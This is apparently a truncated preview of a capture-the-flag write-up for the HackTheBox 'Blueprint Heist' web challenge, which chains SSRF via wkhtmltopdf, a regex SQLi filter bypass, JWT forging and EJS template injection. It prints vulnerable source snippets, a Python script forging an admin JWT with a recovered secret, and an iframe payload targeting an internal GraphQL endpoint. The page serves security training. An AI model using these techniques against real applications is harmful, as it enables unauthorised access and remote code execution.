webfreemedium

Blueprint Heist

hackthebox

Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.

$ ls tags/ techniques/
ssrf_via_wkhtmltopdfsqli_regex_bypassejs_ssti_rcejwt_secret_bruteforcegraphql_injectionmysql_into_outfile

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

Blueprint Heist - HackTheBox Business CTF 2024

Description

Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.

Analysis

Application Architecture

  1. Frontend: Express + EJS templates
  2. API: GraphQL endpoint /graphql
  3. Auth: JWT tokens with roles
  4. PDF: wkhtmltopdf for URL to PDF conversion
  5. DB: MySQL

Discovered Vulnerabilities

  1. SSRF via wkhtmltopdf - endpoint /download uses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhost
  2. JWT Secret Disclosure - production server uses a different secret: Str0ng_K3y_N0_l3ak_pl3ase?
  3. SQL Injection in GraphQL - query getDataByName is vulnerable to SQLi with regex bypass via newline
  4. Server-Side Template Injection - EJS templates can execute arbitrary code
  5. File Write via SQLi - MySQL INTO OUTFILE allows writing files to the server

Key Files from Source Code

app/utils/security.js - SQLi filter with regex bypass:

function detectSqli (query) { const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/ return pattern.test(query) } function checkInternal(req) { const address = req.socket.remoteAddress.replace(/^.*:/, '') return address === "127.0.0.1" }

app/schemas/schema.js - Vulnerable GraphQL query:

data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);

app/controllers/downloadController.js - SSRF via wkhtmltopdf:

wkhtmltopdf(url, { output: pdfPath }, callback);

Solution

Step 1: JWT Secret Discovery

Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one. Real secret: Str0ng_K3y_N0_l3ak_pl3ase?

import jwt secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM

Step 2: SSRF for GraphQL Access

GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:

<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe> </body> </html>

Host HTML on external server and load via /download endpoint.

...

$ grep --similar

Similar writeups